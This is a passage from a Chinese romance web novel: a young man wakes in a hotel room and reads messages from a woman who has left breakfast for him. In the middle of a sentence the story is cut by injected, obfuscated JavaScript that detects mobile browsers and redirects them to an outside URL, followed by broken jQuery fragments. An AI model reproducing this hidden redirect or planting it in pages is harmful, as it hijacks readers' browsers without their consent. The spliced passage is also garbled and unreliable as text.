陆忱醒来时，意识像是从很深、很温暖的水底缓慢上浮。


    没有熟悉的、被梦魇撕扯着惊醒的窒息感，没有冷汗浸透睡衣黏腻地贴在背上的不适，更没有在黑暗中睁眼、等待狂跳的心脏与混乱的呼吸平复下来的、那漫长的、独自捱过的时刻。他只是自然而然地、平缓地，从一个无梦的、近乎黑色的睡眠中苏醒过来。


    睁开眼的瞬间，房间内还很昏暗。深灰色的遮光窗帘将晨光过滤成一层稀薄的、灰蓝色的微光，勉强能勾勒出天花板上简约线条的轮廓。他眨了眨眼，花了大约三秒钟，让混沌的感知重新锚定现实——不是学校那套高级公寓里那张过分宽大、冷清得像样板间的床，也不是海城老宅那个空旷得能听见自己呼吸回声、令他心悸的房间。


    是“陌野”设计酒店，508房间。身下这张设计简约、但床垫意外柔软贴合的大床，昨晚接纳了他罕见的、不设防的疲惫。


    他侧过头，看向床头柜。手机屏幕在昏暗中自动亮起，冷白的光刺破静谧，显示时间：08:17。


    陆忱怔住了。


    他盯着那串数字，看了很久，久到屏幕光再次暗下去，又被他用指尖碰亮。像是在反复验证一个被打破的、属于他个人的残酷定律。在他的记忆里，上一次毫无负担地睡到八点以后……要追溯到什么时候？或许是五岁？六岁？母亲叶清婉还在的时候，那些被钢琴声和温柔怀抱包裹的、模糊的清晨？那之后，睡眠就变成了一件需要严格管理、甚至带有惩罚性质的事项——要么在六点半被无形的生物钟精准拽醒，身体紧绷如弓；要么在凌晨三四点被冰冷的梦境惊醒，然后睁着眼睛，看窗外天色如何一丝一丝、缓慢而冷酷地亮起来，直到必须起床的时刻。


    从未有过像这样，一夜沉酣，无梦无扰，醒来时身体是松弛的，大脑是清明的，甚至胸腔里都萦绕着一种陌生的、轻飘飘的……近乎“满足”的错觉。


    他撑着手臂坐起来。纯棉的白色T恤领口睡得有些歪斜，露出一截清晰的锁骨和脖颈流畅的线条。被子滑落到腰间，房间里中央空调维持着恒定的、恰到好处的温度，不冷也不热，只余皮肤接触空气时细微的凉意。


    他环顾四周，房间还是昨晚那个房间，极简的线条，陌生的布局，但此刻却莫名地让他感到一种奇异的、近乎奢侈的安宁。空气里甚至残留着一点……或许是心理作用，或许是通风系统带来的，极淡的、类似于雪松或者某种干净皂角的气息，让他想起昨晚在清吧，程见微身上隐约的味道。


    就在这时，放在枕边的手机屏幕又无声地亮了一下。


    两条未读微信消息的提示，安静地躺在锁屏界面。


    陆忱拿起手机，冰凉的金属边框触感让他指尖微缩。解锁。屏幕的光映亮了他的脸——刚睡醒的皮肤透出一种缺乏血色的冷白，眼睑下方没有惯常的、睡眠不足导致的淡青色阴影，反而显得干净。只是瞳孔深处还残留着一丝初醒的懵懂，削弱了平日的锋利。


    他的目光落在置顶联系人的备注上——「VV」。


    这个备注是他某个深夜，在反复看着聊天记录时，鬼使神差改的。没有任何人知道。


    两个简单的字母，没有任何实际意义，却在他每次看到时，都会引起一阵隐秘的、带着羞耻感的悸动。


    仿佛这个小小的、亲昵的代号，是他偷来的，不该属于他的东西。此刻，这两个字母静静地躺在屏幕顶端，旁边是红色的未读标记。


    第一条消息来自「VV」，发送时间是07:03


    【醒了么？】


    很简单，三个字，一个标点。没有表情包，没有语气词，没有多余的寒暄。干脆得像她这个人。


    陆忱的心脏却像被这三个字轻轻搔刮了一下，引起一阵细微的、酥麻的震颤。


    他的目光下移，落在第二条消息上，发送时间是08:12，就在五分钟前：


    【晨跑路过一家早点店，粥和包子不错。给你带了一份，放在前台了。醒了可以去取。】


    依然是她标志性的简洁，但信息量多了起来。晨跑。路过。觉得不错。给你带了一份。每一个词都平实，串联起来却构建出一个具体得让他指尖发烫的场景。


    ——她记得他。她给他带了早餐。


    这个认知像颗被点燃的小小火种，猝不及防地投进他常年冰封、死寂的心湖。没有轰然巨响，但那滚烫的温度和骤然亮起的光，却足以让厚重的冰层发出细微的、崩裂的呻吟。一股陌生的、汹涌的暖流从胸腔最深处不受控制地翻涌上来，顺着血脉疾走，瞬间蔓延到四肢百骸。指尖在发麻，耳根在发热。


    他盯着那几行字，看了很久。


    久到屏幕自动暗下去，他又迅速按亮，像怕它消失一样。目光贪婪地逡巡过每一个字，甚至标点符号。然后，他几乎是屏住呼吸，用一种近乎虔诚的、小心翼翼的力度，点开输入框。指尖在冰冷的玻璃屏幕上悬停，微微颤抖。他想说的话有很多，杂乱无章地挤在喉咙口——“你起得好早”，“什么粥”，“我马上下来”，“麻烦你了”……但最终，所有话语都在舌尖融化，只凝结成两个干巴巴的字。他缓慢地、一个字母一个字母地敲下：


    【刚醒。谢谢。】


    发送。


    指尖离开屏幕的瞬间，他立刻后悔了。太简单了。太生硬了。像块冷硬的石头。他甚至想立刻长按撤回，重新组织语言。但理智（或者说，某种更深的怯懦）拉住了他。他紧抿着唇，看着那两个灰色的气泡变成“已送达”，然后，几乎在同时，变成了「已读」。


    心跳猛地漏跳一拍。


    程见微的回复来得快得超乎想象，就在他看清“已读”二字的下一秒：


    【不客气。前台左边保温柜，508号。】


    连保温柜的具体位置都确认好了。周到得无懈可击，温柔得……让他心尖发颤。


    陆忱缓缓吐出一口屏住的气息，将手机轻轻放在胸口。隔着薄薄的T恤，他能感受到心脏在那里有力而紊乱地撞击着。咚，咚，咚。每一下都带着那陌生的暖意。


    他掀开被子下床。赤脚踩在柔软厚实的长绒地毯上，脚底传来温暖蓬松的触感，微微下陷。他走到落地窗边，手指勾住厚重窗帘的边缘，轻轻拉开一道缝隙。


    “哗——”


    更明亮的晨光瞬间如潮水般涌进来，有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156063|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些刺眼。他下意识地眯起狭长的眼睛，浓密的睫毛在眼下投出小片阴影。适应了几秒后，窗外的世界逐渐清晰。周一早晨的街道已经开始苏醒，车辆零星驶过，行人步履匆匆。天空是那种秋日特有的、高远清澈的淡蓝色，几缕羽毛状的薄云被朝阳镶上金边。阳光斜斜地照射过来，在对街建筑物的玻璃幕墙上切割出大片耀眼的光斑，又反射回房间，在墙壁和地毯上跳跃。


    是个难得的好天气。


    他转身走向浴室。盥洗台上方宽大的镜子里，映出一张与他平时认知略有偏差的脸。头发睡得乱七八糟，乌黑的发丝毫无章法地四处支棱，尤其是头顶正中央，一撮头发格外倔强地翘立着，随着他的动作微微晃动，像某种小型天线，又像鸟类受惊时竖起的翎羽。眼底没有惯常的青黑，皮肤因为睡眠充足反而透出一种干净的冷白。但最让他陌生的是眼神——少了那种时刻绷紧的、警惕的、仿佛随时准备应对攻击的锐利光芒，多了些初醒未散的、懵懂的、甚至可以说得上“柔软”的迷茫。


    这让他看起来……有点傻，有点呆，全然不是那个冷静自持、完美无缺的陆家继承人。


    陆忱的眉头几不可察地蹙了一下，对自己这副模样感到一丝轻微的不适。


    他伸手，用掌心用力压了压那撮翘起的头发。手掌移开，头发顽固地弹回原位。再压，再弹。他打开水龙头，捧起一掬冷水，用力扑在脸上。


    冰凉的水刺激着皮肤毛孔骤然收缩，带来清醒的刺痛感。他用柔软的毛巾擦干脸和脖颈，又对着镜子，用十指作梳，更用力地梳理那头乱发。


    效果有限。那撮呆毛依然顽强地立着，只是方向稍有改变。


    他盯着镜子里的自己，和那撮不听话的头发对峙了几秒，最终放弃。算了。


    快速刷牙，换上酒店昨晚按他要求送来的干净衣物——深灰色的圆领棉质长袖T恤，黑色的抽绳运动长裤。布料柔软亲肤，但款式极其简单，甚至有些随意。这完全不是他平时那种一丝不苟、剪裁精良的着装风格。


    拿起手机和房卡，他走出房间。


    走廊铺着吸音地毯，寂静无声，自己的脚步声被完全吞没。走到电梯前，按下下行键。电梯从一楼缓缓上升，红色的数字在显示屏上跳动。在等待的、不足二十秒的短暂空白里，他的目光不受控制地、一次又一次地飘向斜对面——509房间紧闭的深色木门。


    她应该在房间里。收拾东西？看书？还是也在窗前看风景？或许，也在看手机？


    “叮——”


    电梯到达，门无声滑开，打断了他的思绪。


    陆忱走进去，轿厢里只有他一人。光可鉴人的镜面墙壁映出他的全身——头发依然不驯服，衣着随意，整个人透着一股他很不熟悉的、甚至有些陌生的松弛感。这不像他。陆忱应该是完美的、得体的、无懈可击的。


    但奇怪的是，此刻站在这面镜前，看着这个不那么“陆忱”的自己，他心底涌起的并非厌恶或焦虑，而是一种……微妙的、隐秘的释然。好像终于可以，短暂地、偷偷地，不做那个“陆忱”。


    电梯下行时带来轻微的失重感。他看着数字从5跳到1。